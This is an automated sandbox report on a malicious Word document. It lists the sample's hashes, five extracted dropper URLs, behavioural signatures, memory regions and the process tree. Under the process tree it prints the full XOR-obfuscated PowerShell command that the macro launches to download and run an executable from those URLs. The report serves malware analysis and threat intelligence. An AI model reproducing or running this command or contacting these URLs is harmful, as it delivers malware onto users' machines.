Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    25-05-2024 14:21

General

  • Target

    723f47c53018552ca0215c66092263da_JaffaCakes118.doc

  • Size

    241KB

  • MD5

    723f47c53018552ca0215c66092263da

  • SHA1

    9784d55d70eb987a104a26d1d24b3bbed79f6f96

  • SHA256

    b3c6a641fd966a5ffa0a9fa9241ea45be5c873f2523ca0b281467968a3a78137

  • SHA512

    6670b6629d5c5e4b88acc83f8ea16b696c389b0005c9de6d00406a46d874c1204665da0995fd30c01ddff4401c34298de93a7547ad88dc25e5d7d2b7eec91b58

  • SSDEEP

    3072:tH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5EyXJm9YBmjDTy7D6tGff:tFVeEsjdXRC3jexGG6TYWofTyv6tGf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wildpete.com/73v5/

exe.dropper

http://www.escoladeemagrecimento.com.br/jl/

exe.dropper

http://www.southgatetowerquan7.com.vn/aokE/

exe.dropper

http://www.salinzada.com/4A3bU8Pb/

exe.dropper

http://www.tomsbigworld.com/VKT9j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\723f47c53018552ca0215c66092263da_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &( $Env:COMsPeC[4,24,25]-jOiN'')( -jOiN ('4f65N81p105N29u78L69L87N13L79N66p74S69K67f84O0f110S69L84y14u119u69p66N99K76L73O69N78O84{27L4u107K114O87f29N7K72{84N84{80K26y15L15y87K73y76y68L80f69p84y69L14y67f79N77O15L23f19L86p21K15y96u72f84K84S80u26f15N15N87y87p87O14O69f83y67p79u76S65u68O69K69O77p65p71S82N69N67K73{77L69L78N84N79y14O67f79S77y14{66S82N15N74{76N15N96K72u84L84u80K26S15f15u87S87f87y14O83p79{85f84f72N71{65L84p69L84y79{87S69S82N81y85u65{78p23L14K67f79u77p14y86f78y15u65L79N75f101L15S96S72S84p84K80y26K15N15{87N87y87p14K83{65y76N73O78S90S65O68S65f14p67p79N77u15p20K97{19N66p117O24{112L66f15N96S72L84y84f80K26f15u15K87S87N87L14{84N79f77p83N66S73L71O87K79p82u76y68N14p67p79f77{15f118S107u116p25N74{15f7O14u115O80{76S73p84y8y7L96u7f9K27u4f87f102O100p0L29{0p7S22f17N19S7K27{4p82f99L65{29{4f69K78K86L26O84p69K77L80N11u7S124K7S11u4K87L102K100O11f7O14S69K88O69{7p27K70L79f82N69K65O67y72O8O4u106f82N77y0N73S78K0f4N107{114N87u9O91O84u82S89u91L4f65p81O105S14u100f79{87y78K76p79S65N68S102u73u76u69p8K4{106L82K77{12N0f4K82S99y65y9{27N115f84N65L82K84K13L112u82u79S67S69{83y83f0K4p82u99u65S27O66L82L69O65u75p27N93O67O65y84u67L72L91{93N93'.SpLIt('SNKOLpfyu{')| % { [ChaR] ( $_ -Bxor "0x20")} ))
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2800
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2848

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      50213d519df0f380850c630c638030b2

      SHA1

      8c85ab63079c5333e16045ee36a5df92b97d5648

      SHA256

      f21c43d9bddf662c24a1be28784aaa32ef80ec6e81bb0db96270acd285dfb2e3

      SHA512

      36cb4fe1d674aa9be19085be80a1f3e33fd286b38dd47a7d2b745d0ab7adc435331a9166b3f51e27679abaa0f934ab0a47b511fc8646b475144d4ea934ddada0

    • memory/2800-31-0x00000000054D0000-0x00000000054DD000-memory.dmp

      Filesize

      52KB

    • memory/2800-32-0x00000000054E0000-0x000000000551C000-memory.dmp

      Filesize

      240KB

    • memory/2800-30-0x00000000054B0000-0x00000000054C5000-memory.dmp

      Filesize

      84KB

    • memory/2960-16-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-8-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-13-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-12-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-21-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-18-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-17-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-22-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-11-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-0-0x000000002F421000-0x000000002F422000-memory.dmp

      Filesize

      4KB

    • memory/2960-7-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-5-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-6-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-2-0x00000000715ED000-0x00000000715F8000-memory.dmp

      Filesize

      44KB

    • memory/2960-35-0x00000000715ED000-0x00000000715F8000-memory.dmp

      Filesize

      44KB

    • memory/2960-36-0x0000000000450000-0x0000000000550000-memory.dmp

      Filesize

      1024KB

    • memory/2960-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2960-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2960-55-0x00000000715ED000-0x00000000715F8000-memory.dmp

      Filesize

      44KB